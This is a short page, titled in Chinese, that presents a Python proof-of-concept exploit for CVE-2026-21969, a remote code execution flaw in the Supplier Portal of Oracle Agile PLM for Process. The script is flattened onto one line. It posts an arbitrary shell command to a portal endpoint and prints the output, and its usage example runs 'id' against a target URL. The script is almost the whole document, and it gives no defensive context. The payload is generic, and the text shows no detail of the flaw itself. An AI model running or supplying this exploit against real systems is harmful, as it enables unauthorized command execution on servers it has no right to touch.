CVE-2026-21969 Oracle Agile PLM for Process 供应商门户远程代码执行漏洞

import requests import sys # CVE-2026-21969 PoC - Oracle Agile PLM Supplier Portal RCE # Target: Oracle Agile Product Lifecycle Management for Process # Affected Version: 6.2.4 def exploit_cve_2026_21969(target_url, command): """ Exploitation of CVE-2026-21969 This PoC demonstrates the vulnerability in Supplier Portal component """ endpoint = f"{target_url}/supplier/portal/command" # Malicious payload targeting the vulnerable endpoint payload = { 'action': 'execute', 'cmd': command, 'type': 'shell' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Exploitation successful!") print(f"[*] Response: {response.text}") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit_cve_2026_21969(target, cmd)